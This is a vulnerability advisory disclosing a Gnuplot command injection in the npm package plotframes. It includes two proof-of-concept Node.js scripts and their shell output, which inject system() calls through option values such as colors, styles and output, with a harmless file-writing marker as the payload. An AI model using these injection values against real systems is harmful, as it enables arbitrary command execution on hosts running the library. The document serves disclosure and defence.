Disclosed vulnerabilities
No CVE assigned Published: Apr 28, 2021

Gnuplot Command Injection in plotframes

9.8 Critical Severity Gnuplot javascript nodejs npm RCE
André Sá Reported by Checkmarx Zero

Summary

A Gnuplot Command Injection vulnerability was discovered in plotframes through
several input options of the plotScript() function.

Product

All versions of plotframes published on NPM as of now.

Impact

It’s possible to inject malicious Gnuplot code, provided that the library is
called with untrusted input options being passed on to the plotScript()
function. And in turn, it’s possible to execute arbitrary OS commands through
Gnuplot’s system() function — similar to
GHSA-cfwc-xjfp-44jg,
NPM-1440.

Steps to reproduce

The first PoC shared with the maintainer, for version 2.0.0:

$ rm -f PWND
$ ls -1
input.mp4
node_modules
package-lock.json
package.json
poc.js
$ cat poc.js
require('plotframes')
  .plotScript('input.mp4', function(err, res) {},
    {
      terminal: 'pngnsystem("echo PWND > PWND")',
      frames: false,
      stream: 0,
      colors:{
        I: '#00ffff',
        P: '#ff00ff',
        B: '#ffff00',
        A: '#2dff00',
        average: '#000000',
        bitrate: '#00ff00',
      },
      styles:{
        I: 'impulses',
        P: 'lines',
        B: 'lines',
        A: 'lines',
      }
    });
$ node poc.js
$ ls -1
PWND
input.mp4
node_modules
package-lock.json
package.json
poc.js
$ cat PWND
PWND

The second, more detailed, PoC shared with the maintainer, that contains all
the vulnerable options I could find, for version 2.0.1:

$ rm -f PWND output.png
$ ls -1
input.mp4
node_modules
package-lock.json
package.json
poc.js
$ cat poc.js
require('plotframes')
  .plotScript('input.mp4', function(err, res) {},
    {
      /* Just to show that it's not possible to exploit through this option anymore */
      terminal: 'pngnsystem("echo TERMINAL >> PWND")',
      output: 'output.pngnsystem("echo OUTPUT >> PWND")',
      frames: false,
      stream: 'all',
      colors:{
        /* The comment ignores the closing quote and comma. */
        I: 'nsystem("echo COLORS_I >> PWND") #',
        P: 'nsystem("echo COLORS_P >> PWND") #',
        B: 'nsystem("echo COLORS_B >> PWND") #',
        A: 'nsystem("echo COLORS_A >> PWND") #',
        average: '#000000" lt 1 lw .5nsystem("echo COLORS_AVERAGE >> PWND") #',
        bitrate: '#00ff00" lt 1 lw 1.5nsystem("echo COLORS_BITRATE >> PWND") #',
      },
      styles:{
        /*
         * The comment ignores the `linecolor rbg ...` bit, and the comma.
         * The `e` on `I` closes the input of the `plot` command -- the others
         * don't have a `plot` to close.
         */
        I: 'linesnensystem("echo STYLES_I >> PWND") #',
        P: 'linesnsystem("echo STYLES_P >> PWND") #',
        B: 'linesnsystem("echo STYLES_B >> PWND") #',
        A: 'linesnsystem("echo STYLES_A >> PWND") #',
      }
    });
$ node poc.js >/dev/null 2>&1 & htop
[1] 5854
$ jobs
[1]+  Running                 node poc.js > /dev/null 2>&1 &
$ fg
node poc.js > /dev/null 2>&1
^C
$ ls -1
PWND
input.mp4
node_modules
output.png
package-lock.json
package.json
poc.js
$ cat PWND
OUTPUT
STYLES_I
COLORS_I
STYLES_P
COLORS_P
STYLES_B
COLORS_B
STYLES_A
COLORS_A
COLORS_AVERAGE
COLORS_BITRATE

The first PoC does indeed no longer work on version 2.0.1; however, the package
is still vulnerable through the other options.

Remediation

The terminal option has now been fixed and is safe to use in version 2.0.1 —
albeit with more limited functionality than before. All other options exploited
in the second PoC are vulnerable currently (up to 2.0.1). The maintainer hasn’t
replied ever since I sent the second PoC.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher
André Sá.

Resources

  1. Vulnerable function
  2. Fix for the `terminal` option

Stay connected and never miss a research update!